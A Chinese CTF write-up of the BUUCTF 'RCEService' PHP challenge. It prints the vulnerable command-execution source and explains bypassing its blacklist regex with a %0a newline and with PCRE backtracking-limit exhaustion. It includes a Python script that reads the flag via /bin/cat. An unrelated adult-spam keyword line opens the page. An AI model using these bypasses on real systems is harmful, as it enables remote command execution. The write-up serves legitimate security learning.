欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP試題之RCEService正則回溯解答

 更新時間:2022年04月11日 17:50:34   作者:-梔藍(lán)-  
這篇文章主要為大家介紹了PHP試題之RCEService正則回溯解答,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪

打開題目輸入JSON類型的cmd后,嘗試讀取index.php的源代碼,但是讀取不出來,并且掃后臺出來的/index以及/index/login也沒有任何東西,實在不知道怎么做了,只能看一下別人的wp,發(fā)現(xiàn)別人以來都是審查源碼,我就奇怪了,源碼怎么弄來的,看了很多wp發(fā)現(xiàn)應(yīng)該是比賽的時候直接給的源碼,但是buu平臺忘記加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正則,看來這題是要繞過正則執(zhí)行cmd命令了,這么多黑名單函數(shù)應(yīng)該不會讓我們找漏網(wǎng)之魚吧,不會吧不會吧

我們看到正則表達(dá)式?jīng)]有添加修飾符,那我們可以利用多行匹配這個漏洞了

 在這里我們可以利用%0a換行符進(jìn)行繞過正則匹配,而且可以看到要有修飾符s才會讓.*匹配換行符,因此我們這里可以利用我們之前的ls試試能不能成功

發(fā)現(xiàn)依然可以出來index.php;源代碼中編譯了環(huán)境變量path(我以為只是單純暗示我們這個目錄),我們就在那個目錄下看看 

發(fā)現(xiàn)了flag文件,我用nl,cat,more,less等命令都讀取不出來 ,查資料發(fā)現(xiàn),系統(tǒng)命令需要有特定的環(huán)境變量的也就是路徑,系統(tǒng)找不到該路徑下的exe文件怎么執(zhí)行系統(tǒng)命令

因此這個地方查閱資料后發(fā)現(xiàn)只能調(diào)用絕對路徑下的命令,cat命令就在/bin/目錄下面

 第二種辦法也就是正則表達(dá)式回溯過多導(dǎo)致false,說實話我還是第一次聽到正則的回溯問題

PHP利用PCRE回溯次數(shù)限制繞過某些安全限制

簡單來說就是正則表達(dá)式匹配的時候某個.*將后面的字符全部匹配到了,導(dǎo)致表達(dá)式后面的式子沒有地方匹配,因此一個一個字符吐出來,直到后面的式子全部匹配完畢或者回溯次數(shù)過多

例子

 經(jīng)過自己試試果然只能回溯一百萬次

'/^.*

正則表達(dá)式最前面的匹配字符,^代表首個字母,'.'代表除換行符之外的所有字符,*代表前面那個表達(dá)式重復(fù)執(zhí)行多次,因此他這里直接把我們的payload全部匹配完畢,導(dǎo)致后面的匹配不到字符了,只能一個個回溯

再將后面的匹配一下字符,可以發(fā)現(xiàn)目前寫的小寫字母都沒有過濾掉,因為十六進(jìn)制\x00-\x1f換算成十進(jìn)制并沒有到小寫字母的ascii值那個地方,因此我們可以任意利用一個小寫字母×個一百萬次,就可以讓正則表達(dá)式直接失敗

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

以上就是PHP試題之RCEService正則回溯解答的詳細(xì)內(nèi)容,更多關(guān)于PHP試題RCEService正則回溯的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • getimagesize獲取圖片尺寸實例

    getimagesize獲取圖片尺寸實例

    這篇文章主要介紹了getimagesize獲取圖片尺寸的方法,實例講述了getimagesize獲取圖片的尺寸、格式等參數(shù)的實現(xiàn)方法,具有一定的參考借鑒價值,需要的朋友可以參考下
    2014-11-11
  • PHP 使用二進(jìn)制保存用戶狀態(tài)的實例

    PHP 使用二進(jìn)制保存用戶狀態(tài)的實例

    下面小編就為大家分享一篇PHP 使用二進(jìn)制保存用戶狀態(tài)的實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-01-01
  • 解決Yii2郵件發(fā)送結(jié)果返回成功,但接收不到郵件的問題

    解決Yii2郵件發(fā)送結(jié)果返回成功,但接收不到郵件的問題

    最近在使用Yii2發(fā)送郵件的時候遇到了一個問題,發(fā)送返回提示成功但并沒有收到郵件,所以通過查找相關(guān)的資料,下面這篇文章就來給大家介紹了關(guān)于如何解決Yii2郵件發(fā)送結(jié)果返回成功,但接收不到郵件的問題,需要的朋友可以參考下。
    2017-05-05
  • php把大寫命名轉(zhuǎn)換成下劃線分割命名

    php把大寫命名轉(zhuǎn)換成下劃線分割命名

    這篇文章主要介紹了php把大寫命名轉(zhuǎn)換成下劃線分割命名,本文講解對一些不習(xí)慣大寫風(fēng)格的命名方法如帕斯卡命名、駝峰命名法進(jìn)行轉(zhuǎn)換的方法,需要的朋友可以參考下
    2015-04-04
  • php中session過期時間設(shè)置及session回收機(jī)制介紹

    php中session過期時間設(shè)置及session回收機(jī)制介紹

    在網(wǎng)上可以找到修改配置文件中的session.gc_maxlifetime,如果想了解更多session回收機(jī)制,繼續(xù)閱讀
    2014-05-05
  • php5.3 不支持 session_register() 此函數(shù)已啟用的解決方法

    php5.3 不支持 session_register() 此函數(shù)已啟用的解決方法

    php從5.2.x升級到5.3.2.出來問題了。有些原來能用的程序報錯了,Deprecated: Function session_register() is deprecated
    2013-11-11
  • 用vscode運行php的圖文詳解

    用vscode運行php的圖文詳解

    這篇文章給大家介紹了使用vscode運行php的操作步驟,文中通過圖文結(jié)合的方式介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作有一定的幫助,需要的朋友可以參考下
    2024-01-01
  • DedeCMS dede_channeltype表字段注釋

    DedeCMS dede_channeltype表字段注釋

    學(xué)習(xí)過程中,可以通過參考別人的代碼,讓自己的技術(shù)進(jìn)步的更快。
    2010-04-04
  • PHPCMS的使用小結(jié)

    PHPCMS的使用小結(jié)

    前段時間仔細(xì)看了一下PHPCMS這套開源的系統(tǒng),實現(xiàn)了程序與模板分離,覺得寫得真的不錯。本人很少關(guān)注開源系統(tǒng),尤其是PHP的,覺得PHP本身就是一個寵大的函數(shù)庫,不過幾千個系統(tǒng)函數(shù)確實解決了不少問題。
    2010-09-09
  • PHP jpgraph庫的配置及生成統(tǒng)計圖表:折線圖、柱狀圖、餅狀圖

    PHP jpgraph庫的配置及生成統(tǒng)計圖表:折線圖、柱狀圖、餅狀圖

    本篇文章主要介紹了PHP jpgraph庫的配置及生成統(tǒng)計圖表:折線圖、柱狀圖、餅狀圖等的相關(guān)知識。具有很好的參考價值。下面跟著小編一起來看下吧
    2017-05-05

最新評論